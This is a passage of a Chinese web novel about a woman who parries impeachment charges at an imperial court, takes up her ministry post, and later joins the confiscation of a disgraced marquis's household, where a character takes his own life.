陆锦澜道:“皇上给我派了个礼部左卿的差。” 陆今朝又问:“还说什么了?” “还说……”陆锦澜想了想,身世问题陆今朝是肯定不会告诉她的,只能等她以后自己查。 她也没多说,只道:“问了我的生辰,我照实回了,皇上就没再问了。” 陆今朝松了口气,“那就好。伴君如伴虎,你在御前要小心应对。” 其实,陆锦澜觉得皇上对她还行,和蔼亲切,还让她节制呢,关怀得可真细致。 但她弄了这么多男人在身边,哪那么容易节制啊? 每个晚上,男人们都眼巴巴的盼着,盯着她去哪儿屋。 回家头一晚,凛丞和萧衡就争抢起来。 如果没有萧衡,陆锦澜自然去凛丞院里。毕竟他是正夫,陆锦澜愿意给他体面。 可萧衡在这儿,入府第一夜,非说自己住不惯,要她陪着。 凛丞是正夫,他是平夫,陆锦澜要是陪凛丞,他肯定觉得委屈。但陪萧衡的话,这府里 上下都看着,好像有了萧夫郎,宋夫郎就受了冷落。 陆锦澜干脆跳过他俩,直接去了七郎那儿。 七郎生完三胞胎后身子弱,陆锦澜一直惦记着。 一番温存过后,陆锦澜想起来,“十三的妻主孔鸾这次也随我回京受赏了,十三有了身孕不便跟来。过几日我在家里宴请这些部下,你也去见见她。” “她这人性格豪爽,对我也很是忠心。可那么多人,我单赏她不好。你以你送十三的名义,给她准备一千两银子,再备些礼物,让她走的时候一起带回去。” 七郎忙道:“我记下了,你快睡吧,明早还得上朝呢。” * 早朝,在最初那段时间,都是陆锦澜的梦魇。因为实在太早了,这对厌恶早起的她来说,简直是酷刑。 凌晨五点早朝开始,凌晨三点,她就得起床。轿子到了城门口,城门还没开呢。 碰巧,又逢罗大莉当值,笑问:“陆侯,上朝去啊?” 陆锦澜无奈的挥挥手,“别提了,明天我就搬回城里住。” 忠勇园在城外,虽然豪华宽敞,但是远,她得想办法给自己节省通勤时间。 轿子晃到了宫门外,边关带回来的将领已经在那儿兴奋地等着。她们不能直接上朝,要在外面候旨听宣。见着陆锦澜,纷纷热情地朝她打招呼。 陆锦澜眯着眼应了几句,站在金銮殿上,回头一看,天还没亮呢。 我的老天奶啊!这是什么逆天的安排? 陆锦澜躲到项如蓁身后,“我眯会儿,有事叫我。” 大家都站着,也没个座儿,但陆锦澜坚信以她此刻的困倦程度,站着也能睡个回笼觉。 然而这是上朝,不是上课,赵祉钰拉着她的手臂把她拽到最前面。 陆锦澜一看与她并排的是丞相晏维津和御史令金云凝,顿时打了个激灵。 忙问赵祉钰:“这是做什么?皇上让我做礼部左卿,从二品。我不和如蓁无辛站一起,我也得站在我们礼部尚书罗大人后面,你拉我到这儿干什么?” 赵祉钰笑道:“你忘了你封侯了?这殿上就你一个超品侯君,你不站前面谁站前面?” 陆锦澜往旁边一看,晏维津和金云凝朝她点了点头。 得,这回不用打盹了,打起十二分精神吧。 赵祉钰留在她旁边不走了,看来大皇女的马甲也准备脱了。 察觉到她打量的目光,赵祉钰低声道:“给你透个小道消息,让你做礼部左卿的旨意昨天就传出去了。你在学院闹的那次事,让京中大族都颇感不安。你要断了人家后代的青云路,人家是不会跟你善罢甘休的。” 陆锦澜一笑,“你还不了解我?我会怕吗?” 陆锦澜寻思着,等我管了教育,后门全堵死,一个废物别想塞进去。我看那些大族,以后能拿我怎么样。 但她没想到,那些人的工夫不在以后,而在现在。 皇帝一来,先把一众武将都宣进来,表彰了一番。然后又说学院的学生表现优异,提前结业,这几日皇上会亲自安排人选,入朝为官。 皇上当众宣布了赵祉钰的身份,大皇女从今日起参政议政。 然后便让那些不通政事的武将们都下去,只留下陆锦澜,还有项如蓁和晏无辛这样高阶武将在殿内,开始议论政务。 第一件事,便是公布定北侯通敌。皇上让三司再审一次。这回定了罪,大概就要直接抄家问斩了。 这些没有陆锦澜的事儿,她一直默默听着。紧接着,内廷司便宣读了让她这个靖安侯、嫖骑将军兼礼部左卿的圣旨。 陆锦澜刚要谢恩,忽然有人高声道:“请皇上三思,臣以为不妥。” 赵敏成微微抬眸,“有何不妥?” 御史楚岭举着提前准备好的奏折,高声道:“臣要参靖安侯陆锦澜三项大罪,恳请皇上御览,收回成命。” 殿内顿时气氛一变,顿时格外安静。 “三项大罪?”赵敏成端起面前的杯盏,悠闲地靠在龙椅上,“念来听听。” 楚岭便将奏折展开,高声念道:“奏,靖安侯兼嫖骑将军陆锦澜,在边境作战期间,屡次不按章法行事,举止轻浮,态度傲慢,犯以下三宗大罪。” “一,陆锦澜俘获曲国小郎主不以俘虏待之,反而纳入帐中,整日寻欢作乐,如同做了妻夫一般。败坏军中风气,致使军纪散漫,上下不安;” “二,议和期间,陆锦澜私拨业州城池给曲国皇储,回京时又从曲国拉回一百多车财物。大有公器私用,私相授受之嫌;” “三,陆锦澜好色,天下皆知。日常更是不知节俭,挥金如土,还曾出入青楼。这样的人入礼部为官,以后掌管科考、接待外国来使,会让天下学子和外邦宾客以为,我嬅国重用此等浪荡风流之徒,实在是大为不妥。” 陆锦澜听着听着明白了,合着是从一开始就要拦她,压根不让她进礼部。 她在那儿暗自磨牙,皇上往下扫了一眼,“诸位大臣,你们怎么看?” 晏无辛和项如蓁不知道要不要先开口,一个劲儿往这边瞧,陆锦澜摇了摇头,暗示她们先等等,等别人出完招再说。 很快,又有人站出来,“启禀皇上,臣以为靖安侯征战有功……” 陆锦澜连忙回头看过去,心说:这人是谁?我都没见过,怎么帮我说话? 紧接着便听那人道:“靖安侯虽行为有失,但皇上不妨给她个机会,还是让她回到封地,继续在边关效力吧。” 好家伙,我才刚回京,就要把我送到边关去?缺不缺德啊? 那人说完,立刻又有两位老臣站出来,出声附和。 一看这都是商量好的,一伙唱红脸一伙唱白脸,卯足了劲儿要把她挤出朝堂。 赵敏成听了半天,轻咳一声,“靖安侯,有什么话说?”—— 作者有话说:过渡一下,马上走新剧情~ 第103章 陆锦澜笑了一下,“回皇上,臣自入京以来,听到的闲言碎语可谓是车载斗量,街头巷尾茶楼戏院,编排臣的故事是一出接一出,数都数不过来。” “可臣觉得,她们没有恶意。百姓不明就里,茶余饭后寻个谈资,大家高兴就好,我向来是一笑置之不予理会。” “但今日几位大人的指控未免太严重了,给我罗织了三项大罪,我若不为自己辩驳几句,心里实在委屈。” 这话听着有几分阴阳怪气,那几位大臣斜着眼看她。心道:虽然罪名是罗织的,但事儿基本都是真的,又不是空穴来风,她还委屈上了? 赵敏成压了压嘴角,“既然觉得委屈,你就辩吧,朕也想知道你委屈在哪儿。” “是。”陆锦澜转过身,瞧着那几个参她的人,高声道:“别的事儿暂且不论,就说把业州给曲国的事儿。诸位大人远在京城,大概无法想象当时姜曲联军兵临城下,七十万大军磨刀霍霍是什么景象。” “不是我居功自傲,可若不是我夜入曲营,说服萧承英,达成嬅曲联盟,诸位今日要讨论的恐怕不是我陆锦澜有几宗罪,而是如何抵住七十万敌军。” “诸位都是读书人,大概不傻。用后脚跟琢磨,也能猜到萧承英不会平白无故的临阵倒戈吧?许她一个城池,是结盟的条件。” “她助我们击败了姜国军队,还给了我国一个城池,将弟弟许配给我,这都是人家修好百年的诚意。” “我把业州城给她,是依诺守信。此事我早就将前因后果禀明皇上,皇上圣明立即准许,还下旨让我全权做主,达成和两国的和谈。” “请问诸位大人,我错在哪儿?难道你们要我违抗圣旨,背信弃义,激怒曲国,再惹战事吗?” 陆锦澜横眉立目,给参她的人扣了一顶抗旨的大帽子。 楚岭忙解释道:“启禀 皇上,我等没有这个意思。皇上准允此事,自然是圣明之举。可我们参的重点是有人借机徇私牟利……” 陆锦澜冷哼一声,打断道:“别‘有人’了,不就是说我吗?” 楚岭气道:“就是说你!一百多车的财物拉入你的府里,无数双眼睛都看见了。你在军营寻欢作乐是事实,好色风流挥金如土,也是事实,你敢说没有吗?” 楚岭猛地看向项如蓁,“项将军,听闻你刚正不阿,有一副赤胆忠肠。请你诚实的说一句,靖安侯有没有把曲国小郎主纳入帐中寻欢作乐?” 项如蓁低着头走到正中,沉声道:“启禀皇上,纳入帐中的事儿……有,但帐里的内情臣就不知道了。” 楚岭等人脸上立即有了喜色,“皇上,证人证言已经有了。帐里的事儿不就是那点事儿,倒也不用谁亲眼所见,一想便知。” 陆锦澜看着好笑,瞎高兴什么?这事儿是事实没错,陆锦澜没打算否认这点,但事实也看怎么说。 那几个大臣没听出来,陆锦澜还能听不出来吗?项如蓁给她提供一条思路,就是“有内情”。 于是,陆锦澜顺势说道:“启禀皇上,表面上看,臣是起了色心,把曲国小郎主带到自己的营帐里,实际上确有内情。” 赵敏成微微抬眸,“什么内情?” 陆锦澜道:“臣是为了嬅国。” 噗嗤!殿内全是憋笑声。 睡个男人,还扯上国家了?连晏维津都得咬着牙,才能忍住不笑出声。 陆锦澜做作地长叹一声,“唉,我舍身与敌国人质周旋,一腔热血为国为民,这谁能理解我的苦心啊?” “我若不睡服这个小郎主,他能死心塌地的为我办事吗?没有他引路,我如何进得了曲国军营?如何能与萧承英促膝长谈缔结联盟?” “我把人纳入帐中,与他同床共枕,看似寻欢作乐,实则苦心孤诣。” 秦岭都被她气笑了,“这么说,不该怪你,还应该嘉奖你?” 陆锦澜洒脱道:“那也不必,天恩浩荡,皇上给我的封赏已经够丰厚了,倒也不用为此事再表彰我。而且说有一说一,小郎主相貌出众,我也不算忍辱负重,顶多承受些误解罢了。” “另外,那一百多车财物虽是从曲国拉到我府里的,但那是小郎主的陪嫁。他虽然是个男儿,但颇受曲国国君的宠爱,人家母皇多给些陪嫁,我总不能拦着吧?” “说我挥金如土我也认,但我可没搜刮民脂民膏。我们陆家从我姥姥的姥姥那辈儿起,就颇有家资。我娘是本分经营的生意人,家里每一两银子都是合法的。我花家里的钱,我娘都不心疼,关你何事?” “诸位大人,总不能因为我家里有钱爱花钱,就参我吧?若如此论,天下财富都是陛下的,皇上每日封赏这个那个,花销也不少,你是不是也要参皇上?” 秦岭急地发抖,“你……皇上的开销都是正事,你奢侈靡费,岂能和皇上相提并论?不要胡搅蛮缠!” 赵敏成咳嗽一声,“君子爱财取之有道,用之也有道。只要钱来得正当,用得合法,无需非议。” 陆锦澜立刻拜道:“皇上真乃明君也!不像有些糊涂人,以为清贫才好。难道我等入朝为官,是为了上百姓过上清贫的日子?臣认为,让大家都过上清富的日子,才是正道。” “清清白白的富有,一定好过不得不节俭的贫穷。臣有一夙愿,希望天下百姓都能和臣一样,脱离贫困,衣服富足,甚至可以挥金如土。如果此愿成真,那我嬅国便是当世第一大国,皇上便是古往今来第一能君。” 赵敏成笑出了声,“朕看你是爱做梦,还爱作美梦。百姓要是都能过上挥金如土的日子,朕确实算古往今来第一能君,真有那时候,朕便封你为古往今来第一能臣。” 哎?不对呀!殿上的大臣感受到了一丝罕见的说笑的氛围,这哪是问罪啊? 尤其是参陆锦澜那几个人,有点懵了。 陆锦澜信口开河也就算了,皇上怎么也被她带跑偏了? 俩人在这儿做起嬅国梦了,什么我是能君你是能臣。没影儿的事儿,还分封上了? 秦岭暗觉不好,她知道陆锦澜能言善辩,但今日一见,还是觉得低估她了。 陆锦澜比众人想象中更为老成,她仗着自己年轻,装出一副天真直爽口无遮拦的样子,实际上她比谁都精明。 她装得越口无遮拦,皇上对她说出的颂扬之语越受用。 有人在楚岭耳边嘀咕:“楚大人,咱怎么办?拍马屁咱拍不过她,皇上站在她那边。” 秦岭无奈地叹了口气,低声道:“此人心机深沉,咱们先前准备的那套没用了。不过皇上既然喜欢她,咱们就换路数。捧她去别的地方,只要她不在礼部任职,就不碍咱们的事儿。” 于是几位大人话锋一转,纷纷给陆锦澜致歉。 “哎呀陆侯,误会误会,经你一说,下官恍然大悟。陆侯为国舍身,如此高风亮节,做礼部左卿实在委屈。皇上,臣斗胆,举荐靖安侯去工部任职。她心思灵巧,一定能带领能工巧匠带给皇上不少惊喜。” 陆锦澜:呵呵,让我带人去修堤筑坝,统领铁匠木匠石匠等等,天天带着一帮手艺人叮叮当当?我不去! “启禀皇上,臣觉得陆侯到户部任职更加合适。前任户部尚书获罪出缺,国库吃紧,户部正需要能人。陆侯能在战场上力挽狂澜,必定也能在户部大有作为。” 陆锦澜:啥?前任都被抓起来了,那得留下什么样的烂摊子?还想丢给我接盘,我不要! 陆锦澜对皇上道:“臣不觉得礼部委屈,礼部左卿很好,臣愿意去。” 那几个人又看向楚岭,楚岭再次出列:“皇上,臣参奏陆侯的三宗罪,虽然有许多误会。但陆侯好色,天下皆知。” “陆侯一旦去了礼部,以后掌管教育面对天下学子,难免造成不良影响,难以成为天下学子的表率,还是不妥。臣恳请皇上,赏陆侯一个更合适的官职。” 赵敏成微微点头,“也几分道理。那依你的意思,该让谁去做这个礼部左卿?” 楚岭看了看殿上这三个人,除了陆锦澜,待任职的就只有项如蓁和晏无辛。 楚岭想:项如蓁断不可用,此人为人固执爱较真。陆锦澜和她关系不错,她都没为陆锦澜做伪证,可见是个死心眼儿。 晏无辛,是晏氏族人,是相尊大人的女儿。虽然之前参与过闹事,但晏氏一族人口众多,到时候她家亲戚纷纷找上门,她还能铁面无私吗? 只要开了一个口子就好说了,各大家族便可闻风而上。仍旧可以世世代代,享尽荣华。 楚岭想到这儿,立刻道:“臣以为,左将军晏无辛合适。” 晏无辛心底哎呦一声,心道:你莫要害我!我要是去了礼部,以后晏氏那些七大姑八大姨都到我家来,让我安排她们家孩子上学的事儿,我可顶不住。 晏无辛忙道:“启禀皇上,臣就更不合适了。臣还未成婚,已经有八个应子了。臣比靖安侯还好色,也不宜为学子表率。” 殿里又发出一阵笑声,晏维津嫌她丢脸,咬着牙瞪了她一眼。 晏无辛又道:“论学院成绩,靖安侯是第一名,项将军是第二名,臣排不上号。臣既好色又没有才学,从哪方面来说,都做不得表率。” “也不能这么说。”陆锦澜突然插嘴道:“其实,晏将军能考入皇家学院,已经证明是栋梁之材。” 嗯?晏无辛有点懵,什么意思啊?别推我啊。 楚岭等人也有点懵,但听着陆锦澜好像愿意促成晏无辛去礼部。于是,几个大臣连忙附和:“是啊是啊,晏将军能文能武,不要过于自谦啦。” 陆锦澜又道:“好色也不是什么罪过,女欢男爱,人之常情。俗话说 ,书中自有黄金屋,书中自有颜如玉。如果天下学子相信,好好读书能够变得富有,抱得美夫郎,大家不就更爱读书了吗?晏将军有几个应子,也不算什么。” 众人纷纷点头,话说到这儿,大家都以为陆锦澜赞同晏无辛任职。 晏维津不得不出声反对:“皇上,小女贪玩好色才学浅薄,教育是大事,礼部的担子太重了,她不合适,请皇上还是给她个别的差事吧。” 楚岭忙道:“相尊大人不要谦虚了,陆侯不是说了吗?好色也不算什么。晏将军能在皇家学院那般人才济济的地方,取得中上等的成绩,足够了不起。这次战场上又立了大功,怎么会不合适呢?” “是啊!是啊!”陆锦澜跟着楚岭大声附和:“晏将军合适,但……” 陆锦澜差点没憋住笑,她顿了一下,方朗声道:“但我更合适。” 啊?这话锋转得突然,群臣集体呆滞。 陆锦澜笑道:“刚才楚大人已经认同了,好色也不算什么。那论文论武,甚至论好色,都该让我来做天下学子的表率,我真是合适极了。” 赵敏成微微一笑,“那就不必再议了,你明日就去礼部上任。” “谢皇上隆恩!”陆锦澜跪地谢恩,特意朝楚岭眨了眨眼。 气得楚岭都快脸色铁青,都快当朝厥过去了。 不过这事儿还没完,那群边关回来那群武将在太和殿外等着,一直没走。 大家等着陆锦澜她们散朝,一起去忠勇园赴宴呢。 不一会儿里面传出消息,说陆锦澜被几个文官给参了。 孔鸾一听火冒三丈,撸胳膊挽袖子,气道:“我就知道这些文官嘀嘀咕咕的不干好事,我们在前线洒血断头,回来还得受这鸟气?这不是欺负老实人吗?” 左隋之一看情况不太妙,忙道:“你先别急,先打听打听怎么回事。项将军和晏将军也在朝上呢,陆侯不会吃亏的。” 孔鸾哪听这个?怒道:“咱跟这些文官废什么话?我今儿就要教训教训这些书呆子。” 孔鸾先前在宋婧骁处,宋婧骁待她不薄。她到了陆锦澜麾下效力后,陆锦澜待她更是亲厚,保着她一路升官委以重任。另外有十三那层关系,孔鸾觉得算沾亲带故,比旁人更近一层。 陆锦澜受了排挤,别人可以不出声,她必须得为她出了这口气。 有几个像她一样没读过书的莽人,也跟着跃跃欲试。孙乐闻等连忙拉着,众人正撕巴着,群臣下朝了。 一大群人从太和殿出来,孔鸾立刻挣开左隋之的手,指着骂道:“哪个是御史楚岭?操/你爹的,给老娘滚出来!” * 散朝后,皇上把赵祉钰、陆锦澜、项如蓁和晏无辛留下来,打算再商量一下其她人的任职安排。 刚说了两句话,侍卫慌慌张张跑进来。 还未开口,赵敏成便皱着眉一拍桌子,“慌什么?宫变了?” 第104章 “回……回皇上,横野将军孔鸾听说御史楚岭参奏靖安侯,正在太和殿外破口大骂。” 陆锦澜眼前一黑,晏无辛忙道:“也许只是一时误会,理论几句。” 赵祉钰好奇地问:“她骂什么了?” 侍卫垂首道:“回殿下,骂得极其难听,楚御史上到祖宗十八代,下到夫郎孩子,都没能幸免,属下实在难以转述。” 陆锦澜忙求情道:“皇上开恩,孔鸾是个大老粗,大字不识一个,个性彪悍了些。可她在战场上,敢打敢拼,是一员猛将。军前骂阵,没人能骂得过她。请皇上看她刚立了战功的份上,不要与粗人计较,原谅她无礼。” 赵敏成拧着眉,催道:“那你还不快去看看,一会儿打起来,就算朕不跟她计较,那些老臣可不会放过她。” “呃,那臣先告退。” 陆锦澜几乎一路小跑往外赶,项如蓁和晏无辛对视一眼,生怕局面失控,也连忙告退。 剩下赵敏成和赵祉钰母女俩大眼瞪小眼,赵敏成:“没读过书的武将京中一个都不留,赶紧外放。” * 三人赶到事发地的时候,真快打起来了。 文官武将几十人搅合在一起,推推搡搡吵吵嚷嚷。陆锦澜冲进人堆里,只见孔鸾揪着楚岭的脖领子,挥拳就要打。 陆锦澜连忙抓住她的手腕,喊左隋之孙乐闻把她带走。 陆锦澜站在中间调停,两方人马终于分开。 文官这边吃了几下暗亏,纷纷跟晏维津抱怨,“相尊大人,你可得给咱们讨个说法,这成何体统?” 晏维津无奈地叹了口气,“这个……陆侯,你得好好管教一下,太过分了。御史参奏是本职,她瞎闹什么?” 陆锦澜忙道:“您说得对,我这就将人带回去,军法处置。” 晏维津还想说什么,晏无辛赶紧把她拉走,“娘,时候不早了,你快回府吧。大家都散了,各自回府吧。” 相尊大人被拉走,文官这边群龙无首,只得先散了。陆锦澜望着那些气乎乎的背影,笑着拱手道:“诸位大人受惊了,改天我请大家吃饭,闹事的我一定重罚。” 陆锦澜说完一回头,见项如蓁在四处寻找。 “找什么呢?” “我没看见我岳母,她那么大岁数了,不会出事吧?” 陆锦澜忙跟着一起找,转了一圈发现老太太靠着花坛,在地上坐着呢。 陆锦澜道:“哎呦,您怎么在这儿?是不是伤着了?” 金云凝连连摆手,“没有,你们那个姓孙的同学认得我,知道我是如蓁的岳母,一开始就把我拉出来了。” 项如蓁道:“我看您脸色不太好,我去叫御医吧。” 金云凝喘了口气,“不用,我没事,只是吓着了。今儿我可开了眼,上了一辈子朝,头回赶上打群架。” “那个姓孔的将军果真勇猛,骂出的话让我这个七旬老人听了都觉得臊得慌。我在这儿冷眼瞧着,那几个御史被她怼了好几肘。以我对这几位的了解,明儿肯定要参她,你们赶紧把人送走吧。” 陆锦澜点了点头,“是,多谢您提点。” 陆锦澜回到忠勇园,七郎正带着三个孩子跟孔鸾说话。见陆锦澜进来,孔鸾连忙放下手里的拨浪鼓,老老实实跪下请罪。 “我给侯君惹事了,要打要罚怎么都行,我绝无怨言。” 陆锦澜瞪了她一眼,“你说你好歹也是个四品将军了,做事怎么还这么冲动?” 孔鸾道:“我就是受不了那些文官欺负你,咱们在边关立了那么大的功劳,回来还得听几个没上过战场的御史说三说四的,我气不过。这不就是欺生吗?这事儿我有经验。” 陆锦澜不信,孔鸾这辈子第一次进京,第一次上朝,她哪来的经验? “你有什么经验?” 孔鸾道:“小时候我家里穷,我娘在我们村的菜市场摆了个小摊,前三天每天都来好几拨同行找茬。第四天我娘跟人干了一架,这才消停下来。今天我骂了一架,若是不管用,我明天再去打一架。” 陆锦澜气得想笑,“得了吧!京城不是你们村,朝堂也不是菜市场。朝堂争斗跟战场杀伐完全是两回事,你别参合了。” 孔鸾想了想,有点怀疑自己,“难道我的思路不对?怪不得杨凝说,我这招儿太蠢了。” 陆锦澜手下,最耿直的两个武将就是孔鸾和杨凝。 陆锦澜好奇,“连杨凝都看出来不对了?” 孔鸾点头,“杨凝说在宫里大家都看着,不好动手。应该等到没人的地方套上麻袋,把那几个御史结结实实揍一顿。” 陆锦澜揉了揉眉心,“别说了,你和杨凝明早就走。给我老老实实回到赤诚军驻地带兵去,别在京里发挥你们的聪明才智了。” 孔鸾垂下头,“遵命。” 七郎抱着安西笑了笑,“回去也好,十三一个人在边关 ,还怀着身孕,怎么能让人放心得下?他前些日子来信,说想托我帮他买些好棉花,给孩子做包被。我买了,还准备了好些别的,是侯君和我给孩子的心意,你回去正好带着。” 陆锦澜叹道:“闹成这样,就算你不想走,也先回去蛰伏一段日子。我们刚入朝,还没站稳脚跟。等我们在朝中能说上话,京里有了合适的职位,我就把你调回来。” 孔鸾忙道:“我没不想走,我是怕我走了,没人给你出气。京里人心眼多儿,不好相处,还会算计人。陆侯,要不你劝劝项将军和晏将军,大家都带上家眷到边关去吧。” “我看京城也就是比北州繁华了点,可北州都是咱们的人。在那儿你们说了算,照样吃香喝辣,不比在这儿受气强?” 陆锦澜一笑,“起来吧,竟说些傻话。我知道你是为我好,但你不用担心,我也不是好欺负的。” “如蓁无辛都在朝上,我们会互相照应,不是孤立无援。乐闻、隋之、易舒她们应该都能留京,还有一些相熟的学长,也能领到差事。等大家都入了朝,我们这股新势力跟谁都能较量较量。” “朝堂不是打打杀杀,是人情世故,很复杂。” “总之,你回去学学读书写字,学会了给我写信,等孩子生下来,和十三一起,带孩子回来省亲。另外要注意言行,什么‘都是咱们的人’?天下是皇上的,你这么说给有心人听去,便是一宗罪名。” 孔鸾连连点头,“我记住了。” 陆锦澜放下茶盏,拍了拍孔鸾的肩膀,“好了,咱们出去和大家一起吃饭吧。再见面不知道什么时候,幸亏我早有防备,把宴席的日子提前,不然你和杨凝都赶不上这顿饭。” 孔鸾嘿嘿一笑,“正好饿了。” 第一天上朝,闹了个鸡飞狗跳。 孔鸾和杨凝吃完饭抓紧时间去京中最繁华的集市逛了逛,买了些土仪给家里带回去。加上陆府给的东西,装了满满两车。 第二日,那些御史在朝上参孔鸾的时候,孔鸾和杨凝已经离京了。 陆锦澜在朝上说她已经严惩,罚了五十军棍,将人逐出京城。 皇上道:“既如此,此时就算了了,不必再提。” 事实上军棍当然没打,御史们能猜到,皇上能料到,但陆锦澜这么说,让大家听起来都觉得舒坦,也就稀里糊涂的过去了。 新人陆续入朝,做事方法很朝中老臣大相径庭。朝上很快分为新旧两派,说水火不容夸张了点,但可以说是互相看不上,时常针锋相对。 皇上给新人机会,摊派各种大小事宜。项如蓁出任户部尚书,接了一个超级大烂摊,忙得脚不沾地,经常下了朝就不见人影。 晏无辛出任兵部左卿,皇上让她搞改革出条陈,也没空出来玩了。 陆锦澜反倒成了最悠闲的那个,明年下半年才招生呢,年前礼部没什么大事儿,陆锦澜琢磨着办个什么国事活动。 “尚书大人,我看皇上是明年二月二的生日,今年咱们与邻国止战修好,我看明年咱给皇上做个大寿。把曲国姜国的皇帝皇夫都请来,一起给咱们皇上庆祝,她肯定高兴。” 礼部尚书罗大人有些怀疑,“人家能来吗?何况皇上明年又不是整寿,无端办大,人家怕是要怀疑咱们别有用心,还是算了。” 陆锦澜道:“不会怀疑的,咱们能有什么用心?不就是想要大家走动走动,友好相处嘛。” 过了几天,陆锦澜又道:“大皇女这个年纪也该成亲了,等她成亲的时候,咱们多宴请些宾客,把邻国的皇帝皇夫都请来。” 罗大人有些不解:“你怎么老想着请外国宾客呢?” 陆锦澜理直气壮道:“我这是为了搞好睦邻关系,关系不好容易打仗。您远在京城,不知道战争多残酷。” 罗大人恍然大悟,“陆侯深谋远虑,失敬了。你想办就去办吧,老妇必定鼎力支持。” 陆锦澜嘿嘿一笑,兴高采烈的回家。 一进门听说项如蓁来了,她不禁抱怨,“你有七八天没登我家的门了,我看你比相尊都忙,忙什么呢?” 项如蓁叹了口气,“别提了,因为打仗、腐败加上各种灾情,前任户部尚书给我留了四百万两的亏空。我上任以来,废寝忘食地想办法堵这个大窟窿,脑袋都快想破了。” “国库吃紧,年后春耕,各项拨款拨不出去,百姓的日子可就要捉襟见肘了。昨儿我听罗尚书说,你打算给皇上办大寿?四十六又不是整寿,你别办了,给我们户部省点儿钱。” 陆锦澜噗嗤一笑,“原来找我是为这个事儿,我是打算办,但是我知道国库没钱,没打算多花钱。按照往年惯例办,多请几个客人而已。” 项如蓁道:“你给我个面子,干脆劝皇上别办了。按照惯例也得修缮宫殿、加上新制衣物、陈设、宴席、表演,我看了账册,去年在打仗,只是简办,还花了七十万两银子。如果大办,两百万两都打不住,国库真的没钱了。” 陆锦澜想了想,“我试着跟皇上说说,但我猜皇上不会同意的。我可能比你了解她,这人上了岁数,是会追求享受的。不过简办花七十万两银子,肯定是有人贪了,哪用得了那些钱?” “这样吧,我先看看皇上的意思。她要是不同意不办,我就亲自给她办。不动用国库的钱,让那些皇亲望族来出,你那边可以少些压力。咱们开源节流,争取先补上窟窿。” 项如蓁连连点头,“这样最好。其实我今天找你还有一件事,定北侯的案子已经判了。定北侯下个月问斩,要抄家。定北侯府其余人等,明日抄家后,全部流放长州,永世不得入京。” 陆锦澜一惊,“全部流放?照人的生父是皇上的亲弟弟,也流放?” 第105章 项如蓁道:“皇上没特别说明,应该就是这个意思。我当时想要问一嘴,无辛给我使了个眼色,没让我问。” 陆锦澜忙道:“不让你问就对了,咱们这位皇上心思深着呢。一句不慎惹了圣怒,当下不处罚你,也会在心里给你记上,早晚要算账。” 项如蓁笑着看向她,“你怎么会这么想?我看,皇上对你很是亲切。大皇女在皇上面前都得战战兢兢谨小慎微,你却能自在轻松的和皇上谈笑风生闲话家常,简直羡煞满朝文武。” 陆锦澜苦笑,“唉,我那份自在是装出来的,实际上我比大皇女还战战兢兢。面对一个手握生杀大权的帝王,生死皆在她一念之间,谁能轻松?” “不过我瞧着她有时很寂寞,大概希望有人能时常陪她说说闲话,热闹热闹。我呢,就做这个体察圣心的大臣。” “一来让皇上高兴,不会为难我;二来,百官见皇上和我关系不错,也得顾忌几分;三来,是以防万一,日后你和无辛若惹了事,我还能凭着这点情分,去说说情。” “这是我最近琢磨出来的为臣之道,你觉得怎么样?” 项如蓁沉默半晌,“我觉得……没错倒是没错,但你是不是把重点搞偏了?其实不用围着皇上转,把事情办好,皇上自然会高兴了。” 陆锦澜一惊,“我的老天奶啊!项如蓁同学,项大人,我必须严肃地跟你掰扯明白这个道理。” “你看咱们新旧两派斗得如火如荼,皇上一点也不着急。她天天冷眼旁观喝着茶看热闹,你说是为什么?” 项如蓁忙问:“为什么?” 陆锦澜道:“因为皇上也有皇上的算计,她也许就喜欢这样,也许朝臣们达成一致,她反倒不喜欢了。帝王制衡之术,历来如此。” “所以你必须要明白,你为百姓做事和为皇上做事,是两码事。让百姓高兴的事儿,未必能让皇上高兴。” “给皇上做寿这件事,不就是这样吗?你得谨记……” 陆锦澜压低了声音:“皇上,不代表百姓。” “当然,一个聪明的皇上会关怀百姓安抚百姓,因为做暴君就会有暴民,人家是会造反的。但你得看透,皇帝所做的一切都是为了巩固自己的统治。” “没有哪个皇帝会为了个百姓的利益,折损自己的利益。所以你做事的时候,一定要多加考虑。” “别忘了那句话,‘不求文章中天下,只求文章中考官’。” “你现在是户部尚书二品大员,心怀天下没错,可在朝为官,别忘了咱头顶上是皇上。这个考官可是会要命的,你忽略了她,是非常危险的。” 项如蓁微微点头,陆锦澜又道:“我不是劝你也围着皇上转,你这样耿直的人根本装不来。但你要想既中天下又中考官,一定要多多留神,别 把自己害了。拿不准的事儿,多找我和无辛商量。” 项如蓁拍了拍她的手背,“我记住了,等我回去再琢磨琢磨。我以前是个纯粹的莽人,自从认识你和无辛,耳濡目染,我已经渐渐学会变通了。对了,刚才话说一半。” “皇上说明日查抄定北侯府,让你我和大皇女一起去。查抄的现银进户部,物件进礼部。定北侯府的人都在府中拘禁,明日咱们只怕要和照人碰上。” 定北侯一倒,之前依附凌家的三十几位官员被罢官免职,甚至入狱抄家。凌照人作为小侯君,自然躲不掉。 战场上立下的功劳为她得了个杂号将军的封赏,可定北侯通敌罪一定下来,凌照人的一切赏赐立刻被褫夺,还要被流放。好在,命保住了。 陆锦澜叹了口气,“碰上就碰上吧,这是免不了的。” 项如蓁道:“虽然咱们跟她关系一般,但好歹同窗一场。她骤然沦落到这步田地,已经够惨了。明天要是怨咱们,说些不中听的话,咱们别和她计较。” 陆锦澜笑着摇了摇头,“咱不是那小气的人,不会落井下石,但别人就不好说了。” * 第二日,陆锦澜、项如蓁和赵祉钰各自领着一拨人,到了定北侯府。 凌家人都穿上了囚服,被分批被赶到院子里。府中所有的珍奇物件、金银器皿、锦被华服都被搜了出来,一一登记造册。 三人正带人在后院清点,赵祉钰的近卫图灵匆匆来报,“殿下,凌照人说想见您,要跟您说几句话。” 赵祉钰沉着脸翻了翻登记册,“没看我正忙着呢吗?没空,我跟一个流放的罪人没什么可说的。” 图灵为难道:“可她说,请您看到她爹的面子上……” “嘶——”赵祉钰皱了皱眉,“她爹昨日请旨要见母皇,母皇都没见他,她爹有什么面子?不见,这样的话不用回了。” 话音未落,前院看守的侍卫匆匆来报,慌道:“皇上的弟弟……定北侯的正夫,刚刚趁人不注意,撞柱而亡。” 陆锦澜和项如蓁对视一眼,有些吃惊。虽然料到抄家的场面不会好看,但没料到会直接死人。 赵祉钰“嗯”了一声,吩咐道:“先将尸首盖上,派人进宫去跟母皇说一声,如果没有特别示下,直接拉出去埋了。” 项如蓁忍不住问了一句:“前院情况怎么样?” 来人回道:“看起来像是提前知道他会这么做,所以都不惊讶。” 